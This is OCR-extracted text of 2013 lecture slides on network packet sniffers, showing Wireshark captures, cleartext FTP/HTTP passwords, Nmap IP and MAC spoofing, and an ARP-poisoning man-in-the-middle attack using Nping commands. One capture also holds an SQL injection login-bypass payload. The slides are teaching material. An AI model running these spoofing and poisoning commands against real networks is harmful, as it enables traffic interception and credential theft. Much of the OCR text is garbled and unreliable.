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What are Network Protocol Analyzers (Packet Sniffers)?

Wireshark Examples:
. Ping (ICMP request & reply)
« ARP
. Nmap SYN scan
. FTP (clear text password)
. HTTP POST (clear text password)
. IP Spoofing with Nmap
. MAC Spoofing via Nmap
. MITM via ARP Spoofing using Nping

Tt =128
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Capture Packets from Network Interface
Network Interface Card (NIC) — promiscuous mode

Remember: switched networks do not forward packets
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Popular Packet Sniffers:

L

r
*2\@
=

o

74 Echo {ping) reguest

Capsa Network Analyzer
Cain and Abel

Carnivore (FBI)

dSniff

ettercap

Fiddler

Lanmeter

Microsoft Network Monitor
Naruslinsight

ngrep Network Grep
SkyGrabber

snoop

tcpdump

Wireshark (formerly known as Ethereal)

http://en.wikipedia.org/wiki/Packet_analyzer

1d=0x0200, seq=4864,/19, tt]=128

Page 3



74 Echo (pin

4! The Wireshark Metwork Analyzer [Wireshark 1.6.2 (SVN Rev 38931 from ftrunk-1.6)]
File Edit Wiew Go Capture Analyze  Statistics  Telephony  Tools  Internals  Help

. ol & : E Qe 2T L BE

Filter: * | Expression...

Interface List E= Open Website

Liwe list of the capture interfaces Zpen a previouslhy captured fle Wisit the project’s website
[counts incorning packets)

Cpen Recent: s User's Guide
Cii0-Laby o aspiPassword-Testser. poap (2078 Bykes) = The User's Guide (Jocal version, if installed)
CHADocuments and Set L ngsiadmin My DocumentsFirstCapture.poap (2117 Bykes)

Start capture on interface:

El EBroadcom Metxkremes Gigabit Ebhernet Driver (M ...

: Security
@ Sample Captures Work with Wireshark as securely as possible

& rich aszartment of example capture files on the wiki

m Capture Options

Start a capture with detailed aptions

Capture Hel

@ How to Capture

Step by step to a successful caprure setup

'Ei MNetwork Media

Specific information For capturing an:
Ethermet, WLAM, ...

O Ready ko load or capture Mo Packets Profile: Default
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% | | Broadcom Mettreme Gigabit Ethernet Driver (Microsaft's P

5. 1,104

Etherngt

Capture packets in promiscuous mode

|:| Capture packets in pcap-ng format

Buffer size: |1 = megabyte(s)

[] Limit each packet ta biytes

Capture
File:

[ Use multiple files

Stop Capture ..,
[ ... after
L1 ... after
[ ... after

¥ l'f:l:lr|'||:li|Ee EPF .

Update list of packets in real time
Autamnatic scrolling in live capture
Hide capture info dialag

Mame Resalution

Enable MAC name resolution
[ ] Enable network name resolution

Enable transpart name resolution

&| | Cancel

74 Echo {ping) reguest dd=0x0200, seq=4864,/1%, tt]=1285

Local Capture
No Filter

Update list of packets in real time
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ICMP 74 Echo {ping) reguest dd=C

File Edit Miew Go Capture Analyze  Statistics  Telephony Tools  Internals  Help
& el e EEXZE Ae*+aTR|(BIE QQAQE @¥MWx
Filker: | icmp “ | Expression,., Clzar

Source | Destination Protocol  Length | Info

] ICMP 74 Echo (ping) request d 1, 14113,
(ping) reply Jd=0x0200, seq=4864,19,
(ping) reguest Jd=0x0200, seg=5120/20, tt1=128
(ping) reply Jd=0x0200, seq=5120/20, ttl=128
(ping) reguest Jd=0x0200, seg=5376/21, tt1=128
(ping) reply Jd=0x0200, seq=5376/21, ttl1=128
(ping) request 1d=0x0200, seq=5832/22, tt1=128
(ping) reply Jd=0x0200, seq=5632,/22, ttl1=1:28
(ping) request 1d=0x0200, seqg=5885/23, tt1=128
(ping) reply Jd=0x0200, seq=58858/23, ttl=1:z8
(ping) reguest  id=0x0200, seq=56144,/24, tt1=128
(ping) reply Jd=0x0200, seq=6144,24, ttl=128
(ping) reguest Jd=0x0200, seqg=6400/25, ttl1=128
(ping) reply Jd=0x0200, seq=6400/25, ttl=128
(ping) reguest Jd=0x0200, seg=6656/26, ttl1=128
(ping) reply Jd=0x0200, seq=6656/26, ttl=128

. 384704
382220
. 3826483
. 383885
. 384113
385021
. 385484
095244
L 085619
L 096744
. 087078
L 098153
. OBE583
L 099611
100060

S |

Frame 4: 74 bytes on wire (592 hits), 74 bytes captured (592 bits)

Ethernet II, src: Dell_42:le:db ¢00:11:43:42:1e:dh), Dst: Dell_ad:7a:3a (00:21:70:a0:7a:3a)
Internet Protocol wersion 4, Sre: 192.168.1.104 (192.168.1.10470, Dst: 192.168.1.105 (192.168.1.105)
Internet Control Message Protocol

Wireshark

21 as db 08 00 45 00 pazia. ....E.
3c ac a8 01 &8 c0 aB

69 o0 62 63 64 /) 68

&8 Ga 72737475 V6 ghijkimn opgrstuy
61 63 wabcdefy hi

: 29 Displayed: 16 Marked: 0 Dropped: 0 Profile: Defaulk
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Ping

198 426 ??33?1 192 16192 168 1 105 ICMP 74 Echo (ping) request id=0x0200 - -4608/18 r1l 128
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Ping

r (LE]
number
number
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ARP

- 150,036359  pell_aBroadcast ARP 60 who has 102,168, 1,1047 Tell 102,168,1,105
PC_22:3e:db ARP (PRLIRLE Rl 00:98:76:54:2f:db

Address Resolution Protocol (ARP) — network layer address to link layer address
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E Frame 13: 60 kytes on wire (480 khits), &0 s captured
¥ Ethernet II, Src: D@: ‘12:34:56'7f Dst:
=l Address rResolution Protoco
Hardware type: Ethernet (1)
Protocol type: IP (OxO0800)
Hardware size: @
Protocol size: 4
opcode: reguest (13 Req u eSt
[Is gratuitous: False
Sender MaC address: [|CENVAVISNe | oY ([0S M4 Ke]o))
Sender IP address: 192.168.1.10% (192.1683.1.105)
Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:007
Target IP address: 192.168.1.104 (192.168.1.1047

Bruadcas% (ff:ff:ff:Ff:ff:ff

# Frame 14: 42 bytes on w1re (336 bits), 42 bytes captured (336 b1tsj
¥ Ethernet 11, src: IECENVRLYG (NP RY RN |OME, ost:
-] address rResolution Prutuc01 (repWyj
Hardware type: Ethernet (1)
Protocol type: IP (0x0800)
Hardware size: &
Protocol size: 4 F:a
opcode: reply €20 esponse
[Is gratuitous: False]

sender mac address: PC 12:2e:db (00:12:34:56:/1:db) |
sender IP address: 192.168.1.104 (192.165.1.1047

Target MaZ address: e'db (00:98:76 db
Target IP address: 192.168.1.105 (19%2.168.1.105)
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Nmap SYN scan

Mmap Cutput | Ports [ Hosts | Topology | Host Details | Scans

nrmap -s5

PORT
53ftcp
&8 ftop
135!1:.1:!9
1397tcp
3895tcp
445 ftop
464 ftop
593 ftcp
636 ftcp
3268 5tcp
3269 tcp
33895tcp

STATE
open
open
open
open
open
open
open
open
open
open
open
open

49154 ftcp open
49155ftcp open
49157 ftcp open
49158 ftcp open
49165/tcp open

MAC Rddress: po ))-36:db (00:98:76:54:2fdb)

- 192,168.1.105

SERVICE ltem 9 — SMTP — no SYN-ACK

domain
kerberos-5ec
MErpc
netbios-=z=sn
1dap
microsoft-d=
IpassvdS
http-rpc-epmap
1dap=s=1
globalcatLIAP
globalcatLIAP==s1
m=-term-serw
unknovm
unknotvm
unknovm
unknotvm
unknovm

192,16102.168.1.105  TC I8 49925 » smtp [SYN] Seq=0
TRIH 349925 > ssh [SYN] Seqe(

le.lﬂlH'.lhh l l”|

16 9 936633 102,161097,168,1.104  TCP )] m1crnsnft ds » 400,15 [S?M ACK] Sa= D Ack =] Win=K192 Len=0
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FTP — clear text password

Internet Explorer
% 1o log on to this FTP server, type a user name and password,

FTP server: ftp.drdenenelson. com

User name: username

Password: pswd

After you log on, you can add this server to your Favarites and return to it easily.

Leg an anomymo IJS|'§.«'

17 8, 778611 192.16184 168 FTP 74 Request: USER username
18 §.617147 184.16192.168.1.101  FTP 06 Response: 331 Password reguired Tor EEVSIEateTggle
19 8.815378  192.16184, lhh Bl 71 Request: PASS
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HTTP POST with clear text password

Username

Password

Hypertext Transter Protocol
+ POST fsql-server  ExamplessI.asp HTTR/L.1%r%n
[truncated] Accept: dmagesgif, image//jpeq, magespjpeqg, imagespipeq, appl

referer: http:/ Aeww. comsS=ql-server /password. azpirin

Accept-Language: en-ushrin

User-agent: Mozillas 4.0 (compatible; MSIE 8.0; windows WT 5.1; Trident,/4d.

Content-Type: applicationx—www—Torm-urlencodeadiyrin

accept-encoding: gzip, deflateywryn

Host @ wwe. NG . -cm. N

Content-Length: 52%rwn

Connection: Keep-aAliwvehrin

Cache-Control: no-cachesrsn

Cookie: aspseEssSIONIDCCSCROER=GPUEEEGEGEGEEEEEEEEEEEEEEE .~

Yol

[Full reguest URI: httn:f,fmmw._ comssgl-server /JExamplessI.asp]
Line—based text data: applicationx—www-_Torm—urlencodead

getUser=%27or+%2 TH2 7RIDH2 7&y et Pwd=5%2 7Or+%2 7%2 TH3DX2 7
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IP Spoofing with Nmap

cv C:\WINDOWS\system32\cmd.exe

é\Ducuments and Settings“Admin>nmap -s% -5 192.168.1.254 —-e eth® -Pn 1922.168.1.
1688

Starting Nmap 5.51 ¢ http://nmap.org > at 2013-82-28 19:33 Pacific Standard Time

map scan report for 192.168.1.188

ost is up <B.BB51s latencyl.

ot shown: 996 filtered ports

STATE SERVICE

open https

open iss—realsecure

12/tcp open apex—mesh

35%77tcp open wsdapi

AC Address: e (Yistron InfoComm (Kunshan)>Col

map done: 1 IP address {1 host up? scanned in 108.15 seconds

t\Documents and Settings“Admin>

-S 192.168.1.254 (spoofed IP address)

1d=0x0200, seq=4864,/19, tt]=128
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IP Spoofing with Nmap

Time Destination Protocol Length InFo
415 42 .94 51700 I e B | . I 1 40O s

14 42.472262 192,168, TR 58 60200
15 42.472454 192,168, TP 58 60200
1l 42.472646 192,168, TR a8 60200
17 42.472856 192,168, TCR a8 560200
18 42.473027 192,168, TCR 38 60200
19 42,475217 192,168, TR 58 60200
20 42.473407 192,168, TP 58 60200
21 42.473556 192,168, TR a8 60200
22 42,473786 192,168, TCR a8 60200
23 43,577514 192,168, TCR a8 60201
24 43, 577743 192,168, TR 58 60201
25 45, 577057 192,168, TP 58 60201
2B 435, 578125 192,168, TR a8 60201
27 43, 578320 192,168, TCR a8 60201
28 43, 578511 192,168, TCR a8 60201
29 45, 578703 192,168, TR a8 a020l
30 45, 57885 192,168, TP 58 60201
31 45, 579083 192,168, TR a8 60201
32 43,579.276 192,168, TCR a8 60201
33 43.,677897 192,168, TCR 38 60200
34 45.6780597 192,168, TR a8 a0200

[ i e I I 1 e MY Y O | (=N
tmicrosoft-ds [SYH]
ddi-tcp-1 [SYN] sSeq
imaps [S¥N] Seq=0
imap [SYM] Seq=0 wi
http-alt [S¥N] Seqg=
smtp [SYM] Seq=0 wi
epmap [S¥N] Seq=0
rap [SvM] Seq=0 win
ftp [S¥N] Seq=0 win
ftp [S¥N] Seq=0 win
rap [SvM] Seq=0 win
epmap [S¥N] Seq=0
smtp [SYW] Segq=0 wi
http-alt [s¥N] seq=
imap [SYM] Seq=0 wi
imaps [S¥N] Seq=0
ddi-tcp-1 [SYN] sSeq
microsoft-ds [SyYN]
h323hostcall [SyM]
nethios-ssn [SYM] S
domain [S¥M] Seg=0

e S S e I e S e e e S S S S o =
e S S e S e e e e S S S = =
e  F R P R R S T R

Port checks from non-existent IP address
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MAC Spoofing via Nmap

s C:AWINDOWS\system3I2\cmd.exe
C:sJDocuments and Settings“AdminX*nmap —spoof-mac B

Starting Mmap 5.51 ¢ http:/snmap.org » at 2013-62-28 19:54 Pacific Standard Time

Spoofing MAC address| CA:-3B:-3E: 91 D1 JE (Ho registered vendor?
WARNING: Mo targets were-speeiliedr=so=d hosts scanned.
Mmap done: B IP addrezses (B hostsz up?» scanned in BA.15 seconds

C:sDocuments and Settings“~Admin*

Step 1: Generate new MAC address using nmap
-spoof-mac 0 (generates a MAC address)
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MAC Spoofing

Step 2. Change the MAC address:

ifconfig

sudo ifdown ethO

sudo ifconfig ethO hw ether CA:3B:3E:91:D1:3E
sudo ifup ethO

ifconfig

Page 17
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msfadm1n@metasplultahle

etho
inet addr: 192 168.1. : ask:255.255.255.0

inetb addr: feB0::20c:29ff: fecﬂ 9?5b/64 Scupe Link

UPF BROADCAST RUMNING MULTICAST MTU:1500 Metric:1

R¥ packet=:0 errors:0 dropped:® overruns:0 frame:0

TX packets:85 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000

R¥X bytes:0 (0.0 B) TX bytes:B251 (8.0 KB)
Interrupt:19 Base address:0x2000

MAC Spoofing - Spoofed

msfadmin@metasploitable:™5 ifcpafics

etho Link encap:Ethernet | Hladdr ca:3b:3e:91:41:3e
inet addr:192.168.1.1053 bBCastT. 194 .1bo.1.£599 nask:255.255.255.0
inetb addr: fe80::c83b:3eff:fe91:d4d13e-64 Scope:Link
UPF BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

R¥ packetz:4 errors:0 dropped:0 overruns:0 frame:0

T¥ packetz:91 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txgqueuelen:1000

R¥ byte=s:519 (519.0 B) TX bytes:8615 (8.4 KB)
Interrupt:19 Base address::0x2000




'}; Network Protocol Analyzers (Snlffers)

4 4,384204  1592.16152.1658.1.10

74 Echo {(ping) reguest dd=0x0200, seq=4864,/1%, tt]=12!

MITM via ARP Sooflng using Nplng

192.168.1.105

192.168.1.100

192.168.1.104
Attacker

Copyright 2013 Stacy (Dene’) Nelson Page 19




;; Network Protocol Analyzers (Smffers)

4 4,3834204 192,15152.168.1.10 ZMP 74 Echo (ping) reguest  Jd=i I, =4364 /19, Tt]=121

MITI\/I via ARP Spooflng usmg Nplng

Attacker in the middle

? 192.168.1.105

192.168.1.104
Attacker

Copyright 2013 Stacy (Dene’) Nelson
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‘}3@:— Network Protocol Analyzers (Smffers)

Nping Attack to Corrupt ARP Cache - Both Targets

Nping —arp-type arp-reply —source-mac 00:99:56:78:1E:XX
—source-ip 192.168.1.105 —c 9 192.168.1.100

Nping —arp-type arp-reply —source-mac 00:99:56:78:1E:XX
—source-ip 192.168.1.100 —c 9 192.168.1.105

192.168.1.104
Attacker

Copyright 2013 Stacy (Dene’) Nelson
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74 Echo {ping) reguest dd=0x0200, seq=4864,/1%, tt]=1285

Corrupted ARP Caches

192.168.1.105

C:\Users\Adninistratordarp -

192.168.1.100

Administrator: C:\windows\system32\cmd.exe

Interface: 192.168.1.100 --- Bx18

Internet Address
192.168.1.1
192.168.1.184
192.168.1.185
192.168.1.255
224.8.8.22
224.0.08.252
239.255.255.250
255.255.255.255

Interface: 192.168
Internet Address
192.168.174.255
224.0.0.22
224.0.0.252

%Intevface: 192.168.

| Internet Address
| 197.168.86.255

i 224.0.8.22

| 224.0.0.252

Phuysical Address

00:99:56:78:1E: XX
00:99:56:78:1E: XX

e e el d s e 0 )
#1-08-5e-00-008-16
#1-08-5e-00-00~f ¢
01-00-5e-7f-ff-fa
e ok 3 e e e 3

174.1 === Bxic

Physical Address

3 e w3 e B S
#1-B0-5e-00-08-16
01-00-5e-00-00-fc

- Wx1d

Physical Address
fE~ff-Ff-£f-FE-£F
01-00-5e-00-00-16
01-00-5e-00-00-fc

Type
dynamic
dynamic
dynamic
static
static
static
static
static

Type

static
static
static

Type

static
static
static

Copyright 2013 Stacy (Dene’) Nelson

Interface: 192.168.1.105 --- Bxa

Internet Address
192.168.1.100
192.168.1.104
192.168.1.255
224.0.0,252

Physical Addeess

Type

00:99:56:78:1E:XX IUTELID
00:99:56:78:1E: XX IITEHG

ff-ff-Ff-ff-ff-ff
01 -08-5e-00-00-fc

static
static




4 4.3842504 192.16192.163.1.10% 74 Echo {ping) reguest dd=0x0200, seq=4864,/1%, tt]=1285

Wireshark Capture of MITM

Source Destination Protocol Length Info
ARP 60 192.
Broadcast ARP 42 192.
Broadcast ARP 42 192.
Broadcast ARP 42 192.
Broadcast ARP 42 192.
Broadcast ARP 42 192.
Broadcast ARP 42 192.
Broadcast ARP 42 192.
Broadcast ARP 192. 105
Broadcast ARP 42 192. .105 at
Broadcast ARP 42 who 102.168.1.1037 Tell 192.168.1
Broadcast ARP 2 who 192.168.1.1057? Tell 192.168.1
ARP 580192, 1905 48 at . 991294 78108
Broadcast ARP ) 192. .1.100 15 at 00:99:56:78:1E:XX
Broadcast ARP 192. .1.100 s at  (00:99:56:78:1E:XX
Broadcast ARP 42 192. 1,100 4 at . 0099:56.78:1F:XX
Broadcast ARP 42 who 102.168.1.1037 Tell :
Broadcast ARP 192. 21,3100 1s:ar
Broadcast ARP 192. 1100 15 ar
Broadcast ARP 42 192. c1.100:95 at
Broadcast ARP 42 192. .1.100 is at
Broadcast ARP 42 192.168.1.100 s at
Broadcast ARP 192. -X.100 1s at

Sl .100 7
. 103
+ 103
.105
R B L
.105
303
.105

wistronI_9d:15:e7

Vi

Vi W W
XX

Vi oW

v Ui
>

wwdt wde wnds ands wds wde wde wmds wde wmde

L

o &
.
i B
it -
41
55
o
5
Sk
A
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